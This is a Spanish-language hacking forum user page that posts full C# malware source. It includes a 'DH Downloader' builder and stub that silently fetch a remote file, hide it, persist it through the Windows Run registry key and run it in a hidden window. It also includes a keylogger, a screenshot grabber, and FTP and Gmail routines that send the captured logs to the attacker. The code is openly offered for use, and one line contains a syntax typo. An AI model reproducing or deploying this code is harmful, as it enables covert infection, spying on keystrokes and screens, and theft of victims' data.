solo infecta a una persona no se propaga , es algo basico , y si , viene un codigo fuente queria mostrar el codigo completo al foro pero el stub es largo para el foro.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
// DH Downloader 1.0
// (C) Doddy Hackman 2014
//
// Credits :
//
// Based on : http://www.csharp-examples.net/download-files/
//
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
using System.Reflection;
namespace DH_Downloader
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string ruta_final_global = "";
// Functions
public string hexencode(string texto)
{
string resultado = "";
byte[] enc = Encoding.Default.GetBytes(texto);
resultado = BitConverter.ToString(enc);
resultado = resultado.Replace("-", "");
return "0x" + resultado;
}
public string hexdecode(string texto)
{
// Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
// Thanks to emregulcan
string valor = texto.Replace("0x", "");
string retorno = "";
while (valor.Length > 0)
{
retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
valor = valor.Substring(2, valor.Length - 2);
}
return retorno.ToString();
}
public void cmd_normal(string command)
{
try
{
System.Diagnostics.Process.Start("cmd", "/c " + command);
}
catch
{
//
}
}
public void cmd_hide(string command)
{
try
{
ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
cmd_now.RedirectStandardOutput = false;
cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
cmd_now.UseShellExecute = true;
Process.Start(cmd_now);
}
catch
{
//
}
}
public void extraer_recurso(string name, string save)
{
// Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
// Thanks to Jean Paul
try
{
Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
FileStream yacasi = new FileStream(save, FileMode.CreateNew);
for (int count = 0; count < bajando_recurso.Length; count++)
{
byte down = Convert.ToByte(bajando_recurso.ReadByte());
yacasi.WriteByte(down);
}
yacasi.Close();
}
catch
{
MessageBox.Show("Error unpacking resource");
}
}
//
private void mephobiaButton1_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void mephobiaButton2_Click(object sender, EventArgs e)
{
string url = mephobiaTextBox1.Text;
string directorio_final = "";
string nombre_final = "";
string ruta_final = "";
string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
if (mephobiaCheckBox1.Checked)
{
nombre_final = mephobiaTextBox2.Text;
}
else
{
nombre_final = Path.GetFileName(url);
}
if (mephobiaCheckBox2.Checked)
{
directorio_final = mephobiaTextBox3.Text;
}
else
{
directorio_final = directorio_dondeestamos;
}
ruta_final = directorio_final + "/" + nombre_final;
ruta_final_global = ruta_final;
//MessageBox.Show(directorio_final);
//MessageBox.Show(nombre_final);
//MessageBox.Show(ruta_final);
Directory.SetCurrentDirectory(directorio_final);
if (File.Exists(ruta_final))
{
File.Delete(ruta_final);
}
toolStripStatusLabel1.Text = "[+] Downloading ...";
this.Refresh();
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
nave.DownloadFileAsync(new Uri(url), nombre_final);
}
catch
{
//
}
if (mephobiaCheckBox3.Checked)
{
if (File.Exists(ruta_final))
{
try
{
File.SetAttributes(ruta_final, FileAttributes.Hidden);
}
catch
{
//
}
}
}
if (mephobiaCheckBox4.Checked)
{
if (File.Exists(ruta_final))
{
try
{
RegistryKey loadnow = Registry.LocalMachine;
loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
loadnow.Close();
}
catch
{
//
}
}
}
if (mephobiaCheckBox5.Checked)
{
if (mephobiaRadiobutton1.Checked)
{
cmd_normal("\"" + ruta_final + "\"");
}
if (mephobiaRadiobutton2.Checked)
{
cmd_hide("\"" + ruta_final + "\"");
}
}
}
private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
{
toolStripProgressBar1.Value = e.ProgressPercentage;
}
private void finished(object sender, AsyncCompletedEventArgs e)
{
long tam = new System.IO.FileInfo(ruta_final_global).Length;
if (File.Exists(ruta_final_global) && tam!=0 )
{
toolStripStatusLabel1.Text = "[+] Done";
this.Refresh();
MessageBox.Show("Downloaded");
}
else
{
toolStripStatusLabel1.Text = "[-] Error";
this.Refresh();
MessageBox.Show("Failed download");
}
toolStripProgressBar1.Value = 0;
}
private void Form1_Load(object sender, EventArgs e)
{
toolStripProgressBar1.Value = 0;
}
private void mephobiaButton3_Click(object sender, EventArgs e)
{
string linea_generada = "";
string url = mephobiaTextBox4.Text;
string opcion_change_name = "";
string text_change_name = mephobiaTextBox5.Text;
string opcion_carga_normal = "";
string opcion_carga_hide = "";
string ruta_donde_bajar = "";
string opcion_ocultar_archivo = "";
string opcion_startup = "";
if (mephobiaCheckBox7.Checked)
{
opcion_change_name = "1";
}
else
{
opcion_change_name = "0";
}
if (mephobiaRadiobutton3.Checked)
{
opcion_carga_normal = "1";
}
else
{
opcion_carga_normal = "0";
}
if (mephobiaRadiobutton4.Checked)
{
opcion_carga_hide = "1";
}
else
{
opcion_carga_hide = "0";
}
if (mephobiaComboBox1.SelectedItem != null)
{
ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
}
else
{
ruta_donde_bajar = "Fuck You Bitch";
}
if (mephobiaCheckBox6.Checked)
{
opcion_ocultar_archivo = "1";
}
else
{
opcion_ocultar_archivo = "0";
}
if (mephobiaCheckBox8.Checked)
{
opcion_startup = "1";
}
else
{
opcion_startup = "0";
}
extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");
string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";
if (File.Exists(check_stub))
{
if (File.Exists(work_on_stub))
{
System.IO.File.Delete(work_on_stub);
}
System.IO.File.Copy(check_stub, work_on_stub);
linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
"-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
"-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
"-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
opcion_startup+"-opcion_startup-";
string generado = hexencode(linea_generada);
string linea_final = "-63686175-" + generado + "-63686175-";
FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
BinaryWriter seteando = new BinaryWriter(abriendo);
seteando.Write(linea_final);
seteando.Flush();
seteando.Close();
abriendo.Close();
//MessageBox.Show(generado);
//MessageBox.Show(hexdecode(generado));
try
{
System.IO.File.Delete(check_stub);
}
catch
{
//
}
MessageBox.Show("Tiny downloader Generated");
}
else
{
MessageBox.Show("Stub not found");
}
}
}
}
// The End ?
// DH Downloader 1.0
// (C) Doddy Hackman 2014
// Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Net;
using System.IO;
using Microsoft.Win32;
namespace stub
{
class Program
{
// Functions
static public void cmd_normal(string command)
{
try
{
System.Diagnostics.Process.Start("cmd", "/c " + command);
}
catch
{
//
}
}
static public void cmd_hide(string command)
{
try
{
ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
cmd_now.RedirectStandardOutput = false;
cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
cmd_now.UseShellExecute = true;
Process.Start(cmd_now);
}
catch
{
//
}
}
static public void add_startup(string path)
{
try
{
RegistryKey loadnow = Registry.LocalMachine;
loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
loadnow.Close();
}
catch
{
//
}
}
//
static void Main(string[] args)
{
load_config config = new load_config();
config.load_data();
string check_online = config.downloader_online;
if (check_online == "1")
{
Console.WriteLine("[+] Downloader Online");
string url = config.url;
string opcion_change_name = config.opcion_change_name;
string text_change_name = config.text_change_name;
string opcion_carga_normal = config.opcion_carga_normal;
string opcion_carga_hide = config.opcion_carga_hide;
string ruta_donde_bajar = config.ruta_donde_bajar;
string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
string opcion_startup = config.opcion_startup;
string nombre_final = "";
string directorio_final = "";
string ruta_final = "";
//string output = config.get_data();
//Console.WriteLine(output);
if (opcion_change_name == "1")
{
nombre_final = text_change_name;
}
else
{
nombre_final = Path.GetFileName(url);
}
if (ruta_donde_bajar != "")
{
directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
}
else
{
directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
}
ruta_final = directorio_final + "/" + nombre_final;
Console.WriteLine("[+] URL : "+url+"\n");
Console.WriteLine("[+] Filename : "+ruta_final+"\n");
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
nave.DownloadFile(url, ruta_final);
}
catch
{
//
}
if (opcion_ocultar_archivo == "1")
{
Console.WriteLine("[+] Hide : "+ruta_final+"\n");
try
{
File.SetAttributes(ruta_final, FileAttributes.Hidden);
}
catch
{
//
}
}
if (opcion_startup == "1")
{
Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
add_startup(ruta_final);
}
if (opcion_carga_normal == "1")
{
Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
cmd_normal(ruta_final);
}
if (opcion_carga_hide == "1")
{
Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
cmd_hide(ruta_final);
}
//Console.ReadKey();
}
else
{
Console.WriteLine("[-] Downloader OffLine");
//Console.ReadKey();
}
}
}
}
// The End ?
// DH Downloader 1.0
// (C) Doddy Hackman 2014
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Text.RegularExpressions;
namespace stub
{
class load_config
{
string downloader_online_config = "";
string url_config = "";
string opcion_change_name_config = "";
string text_change_name_config = "";
string opcion_carga_normal_config = "";
string opcion_carga_hide_config = "";
string ruta_donde_bajar_config = "";
string opcion_ocultar_archivo_config = "";
string opcion_startup_config = "";
public string downloader_online
{
set { downloader_online_config = value; }
get { return downloader_online_config; }
}
public string url
{
set { url_config = value; }
get { return url_config; }
}
public string opcion_change_name
{
set { opcion_change_name_config = value; }
get { return opcion_change_name_config; }
}
public string text_change_name
{
set { text_change_name_config = value; }
get { return text_change_name_config; }
}
public string opcion_carga_normal
{
set { opcion_carga_normal_config = value; }
get { return opcion_carga_normal_config; }
}
public string opcion_carga_hide
{
set { opcion_carga_hide_config = value; }
get { return opcion_carga_hide_config; }
}
public string ruta_donde_bajar
{
set { ruta_donde_bajar_config = value; }
get { return ruta_donde_bajar_config; }
}
public string opcion_ocultar_archivo
{
set { opcion_ocultar_archivo_config = value; }
get { return opcion_ocultar_archivo_config; }
}
public string opcion_startup
{
set { opcion_startup_config = value; }
get { return opcion_startup_config; }
}
public string hexencode(string texto)
{
string resultado = "";
byte[] enc = Encoding.Default.GetBytes(texto);
resultado = BitConverter.ToString(enc);
resultado = resultado.Replace("-", "");
return "0x" + resultado;
}
public string hexdecode(string texto)
{
// Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
// Thanks to emregulcan
string valor = texto.Replace("0x", "");
string retorno = "";
while (valor.Length > 0)
{
retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
valor = valor.Substring(2, valor.Length - 2);
}
return retorno.ToString();
}
public load_config()
{
string downloader_online_config = "";
string url_config = "";
string opcion_change_name_config = "";
string text_change_name_config = "";
string opcion_carga_normal_config = "";
string opcion_carga_hide_config = "";
string ruta_donde_bajar_config = "";
string opcion_ocultar_archivo_config = "";
string opcion_startup_config = "";
}
public void load_data()
{
StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
string contenido = viendo.ReadToEnd();
Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);
if (regex.Success)
{
string comandos = regex.Groups[1].Value;
if (comandos != "" || comandos != " ")
{
downloader_online_config = "1";
string leyendo = hexdecode(comandos);
regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
if (regex.Success)
{
url_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
if (regex.Success)
{
opcion_change_name_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
if (regex.Success)
{
text_change_name_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
if (regex.Success)
{
opcion_carga_normal_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
if (regex.Success)
{
opcion_carga_hide_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
if (regex.Success)
{
ruta_donde_bajar_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
if (regex.Success)
{
opcion_ocultar_archivo_config = regex.Groups[1].Value;
}
regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
if (regex.Success)
{
opcion_startup_config = regex.Groups[1].Value;
}
}
else
{
downloader_online_config = "0";
}
}
}
public string get_data()
{
string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
"[+] URL : " + url_config +"\n" +
"[+] Option Change Name : " + opcion_change_name_config + "\n" +
"[+] Change Name to : " + text_change_name_config + "\n" +
"[+] Option normal load : " + opcion_carga_normal_config + "\n" +
"[+] Option hide load : " + opcion_carga_hide_config + "\n" +
"[+] Path : " + ruta_donde_bajar_config + "\n" +
"[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
"[+] Option startup : " + opcion_startup_config;
//
return lista;
}
}
}
// The End ?
using System.Runtime.InteropServices;
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
public void savefile(string file, string texto)
{
//Function savefile() Coded By Doddy Hackman
try
{
System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); // Abrimos para escribir en el archivo marcado
save.Write(texto); // Escribimos en el archivo marcado con lo que hay en la variable texto
save.Close(); // Cerramos el archivo
}
catch
{
//
}
}
private void timer1_Tick(object sender, EventArgs e)
{
// Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
// Thanks to Carlos Raposo
for (int num = 0; num <= 255; num++) // Usamos el int num para recorrer los numeros desde el 0 al 255
{
int numcontrol = GetAsyncKeyState(num); // Usamos GetAsyncKeyState para verificar si una tecla fue presionada usando el int numcontrol
if (numcontrol == -32767) // Verificamos si numcontrol fue realmente presionado controlando que numcontrol sea -32767
{
if (num >= 65 && num <= 122) // Si el int num esta entre 65 y 122 ...
{
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
// Si se detecta Shift y CapsLock ...
string letra = Convert.ToChar(num+32).ToString(); // Le sumamos 32 a num y la convertimos a Char para formar la letra minuscula
savefile("logs.html", letra); // Agregamos la letra al archivo de texto
}
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
// Si se detecta Shift o CapsLock
string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
savefile("logs.html", letra); // Agregamos la letra al archivo de texto
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
// Si se detecta CapsLock ...
string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
savefile("logs.html", letra); // Agregamos la letra al archivo de texto
}
else
{
// Si no se detecta ni Shift ni CapsLock ...
string letra = Convert.ToChar(num j+ 32).ToString(); // Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
savefile("logs.html", letra); // Agregamos la letra al archivo de texto
}
}
}
}
}
private void button1_Click(object sender, EventArgs e)
{
timer1.Enabled = true; // Activamos el timer1
label1.Text = "ON"; // Ponemos "ON" como texto en label1
}
private void button2_Click(object sender, EventArgs e)
{
timer1.Enabled = false; // Desactivamos el timer1
label1.Text = "OFF";// Ponemos "OFF" como texto en label2
}
string nombre1 = ""; // Declaramos la variable string nombre1 como vacia ("")
string nombre2 = ""; // Declaramos la variable string nombre2 como vacia ("")
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);
private void timer2_Tick(object sender, EventArgs e)
{
const int limite = 256; // Declaramos un entero constante con valor de 256
StringBuilder buffer = new StringBuilder(limite); // Declaramos un StringBuilder en buffer usando el int limite
IntPtr manager = GetForegroundWindow(); // Declaramos manager como IntPtr usando GetForegroundWindow para poder
// obtener el nombre de la ventana actual
if (GetWindowText(manager, buffer, limite) > 0) // Obtenemos el nombre de la ventana y lo almacenamos en buffer
{
nombre1 = buffer.ToString(); // Almacenamos el nombre de la ventana en nombre1
if (nombre1 != nombre2) // Si nombre1 y nombre2 no son iguales ...
{
nombre2 = nombre1; // nombre2 tendra el valor de nombre1
savefile("logs.html", "<br>[" + nombre2 + "]<br>"); // Agregamos el nombre de la ventana en el archivo de texto
}
}
}
private void button3_Click(object sender, EventArgs e)
{
timer2.Enabled = true; // Activamos el timer2
label2.Text = "ON"; //Ponemos "ON" como texto en label2
}
private void button4_Click(object sender, EventArgs e)
{
timer2.Enabled = false; // Desactivamos el timer2
label2.Text = "OFF"; // Ponemos "OFF" como texto en label2
}
using System.Drawing.Imaging;
public void screenshot(string nombre)
{
try
{
// ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
// Thanks to Jalpesh vadgama
int wid = Screen.GetBounds(new Point(0, 0)).Width; // Declaramos el int wid para calcular el tamaño de la pantalla
int he = Screen.GetBounds(new Point(0, 0)).Height; // Declaramos el int he para calcular el tamaño de la pantalla
Bitmap now = new Bitmap(wid, he); // Declaramos now como Bitmap con los tamaños de la pantalla
Graphics grafico = Graphics.FromImage((Image)now); // Declaramos grafico como Graphics usando el declarado now
grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he)); // Copiamos el screenshot con los tamaños de la pantalla
// usando "grafico"
now.Save(nombre, ImageFormat.Jpeg); // Guardamos el screenshot con el nombre establecido en la funcion
}
catch
{
//
}
}
private void timer3_Tick(object sender, EventArgs e)
{
string fecha = DateTime.Now.ToString("h:mm:ss tt"); // Obtemos la hora actual usando DateTime y la guardamos en la
// variable string con el nombre de fecha
string nombrefinal = fecha.Trim() + ".jpg"; // Limpiamos la variable fecha de los espacios en blanco y le agregamos
// ".jpg" al final para terminar de generar el nombre de la imagen
string final = nombrefinal.Replace(":", "_"); // Reemplazamos los ":" de la hora por "_" para que no haya problemas
// al crear la imagen
screenshot(final); // Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
// y asi realizar el screenshot
}
timer3.Enabled = true; // Activamos el timer3
label3.Text = "ON"; // Ponemos "ON" como texto en label3
timer3.Enabled = false; // Desactivamos el timer3
label3.Text = "OFF"; // Ponemos "OFF" como texto en label3
using System.Net;
using System.IO;
public void FTP_Upload(string servidor, string usuario, string password, string archivo)
{
// Based on : http://madskristensen.net/post/simple-ftp-file-upload-in-c-20
try
{
WebClient ftp = new System.Net.WebClient(); // Iniciamos una instancia WebClient con "ftp"
ftp.Credentials = new System.Net.NetworkCredential(usuario, password); // Establecemos el login
FileInfo dividir = new FileInfo(archivo); // Iniciamos una instancia FileInfo con "dividir"
string solo_nombre = dividir.Name; // Capturamos solo el nombre de la ruta del archivo de "archivo"
ftp.UploadFile("ftp://"+servidor + "/" + solo_nombre, "STOR", archivo); // Subimos el archivo marcado con el siguiente
// formato -> ftp://localhost/archivo-a-subir.txt al servidor FTP
}
catch
{
//
}
}
private void button7_Click(object sender, EventArgs e)
{
FTP_Upload("localhost", "admin", "admin","logs.html"); // Usamos la funcion FTP_Upload para enviar el log por FTP
// con los datos del servidor marcados
}
using System.Net.Mail;
public void Gmail_Send(string usuario, string password, string target, string asunto, string mensaje_texto, string rutaarchivo)
{
// Based on : http://www.codeproject.com/Tips/160326/Using-Gmail-Account-to-Send-Emails-With-Attachment
MailAddress de = new MailAddress(usuario); // Establecemos la direccion de correo nuestra de Gmail para enviar el mail
MailAddress a = new MailAddress(target); // Establecemos la direccion de correo que va a recibir el correo
MailMessage mensaje = new MailMessage(de, a); // Creamos la instancia MailMessage como "mensaje"
mensaje.Subject = asunto; // Establecemos en el mensaje el asunto
mensaje.Body = mensaje_texto; // Establecemos en el mensaje el texto del correo
Attachment archivo = new Attachment(rutaarchivo); // Creamos la instancia Attachment como "archivo" donde marcamos la ruta del archivo adjunto que
// esta en la variable "rutaarchivo"
mensaje.Attachments.Add(archivo); // Agregamos el archivo adjunto cargado anteriormente al "mensaje"
SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587); // Creamos la instancia SmtpClient como "gmailsender" ademas marcamos el host y
// el puerto de Gmail
gmailsender.UseDefaultCredentials = false; // Desactivamos el UseDefaultCredentials en el "gmailsender"
gmailsender.EnableSsl = true; // Activamos el SSL en el "gmailsender"
gmailsender.Credentials = new NetworkCredential(usuario, password); // Establecemos el usuario y password de la cuenta nuestra de Gmail
gmailsender.Send(mensaje); // Enviamos el mensaje
}
private void button8_Click(object sender, EventArgs e)
{
Gmail_Send("tucorreo@gmail.com", "tupass", "target@hotmail.com", "Aca van los logs", "Disfruta los logs", "logs.html");
// Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
}
using System.IO; // Agregar esta linea al inicio del codigo para el manejo de archivos
FileStream abriendo = new FileStream("stub.exe", FileMode.Append); // Abrimos el stub.exe para escribir en el usando "abriendo"
BinaryWriter seteando = new BinaryWriter(abriendo); // Usamos BinaryWriter para poder escribir en el archivo binario usando "seteando"
seteando.Write("-IP-" + textBox1.Text + "-IP-" + "-PORT-" + textBox2.Text + "-PORT-"); // Escribimos en el archivo binario la IP y el puerto
// usando los valores de los textBox1 y textBox2
seteando.Flush(); // Hace que los datos almacenados en el buffer se escriban
seteando.Close(); // Cerramos el BinaryWriter "seteando"
abriendo.Close(); // Cerramos el FileStream "abriendo"
using System.IO; // Agregar esta linea para el manejo de archivos
using System.Text.RegularExpressions; // Agregar esta linea para el manejo de las expresiones regulares
private void button1_Click(object sender, EventArgs e)
{
string ip = ""; // Declaramos la variable que contendra la IP como string
string puerto = ""; // Declaramos la variable que tendra el puerto como string
StreamReader viendo = new StreamReader(Application.ExecutablePath); // Inicializamos la instancia StreamReader como "viendo" para abrir el stub
string contenido = viendo.ReadToEnd(); // Leemos el contenido del programa y guardamos el resultado en la variable "contenido"
Match regex = Regex.Match(contenido, "-IP-(.*?)-IP--PORT-(.*?)-PORT-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la ip
// y el puerto
if (regex.Success) // Si se encontro algo ...
{
ip = regex.Groups[1].Value; // Guardamos la ip encontrada en la variable "ip"
puerto = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "puerto"
}
textBox1.Text = ip; // Ponemos la ip que obtuvimos en el textBox1
textBox2.Text = puerto; // Ponemos el puerto que obtuvimos en el textBox2
}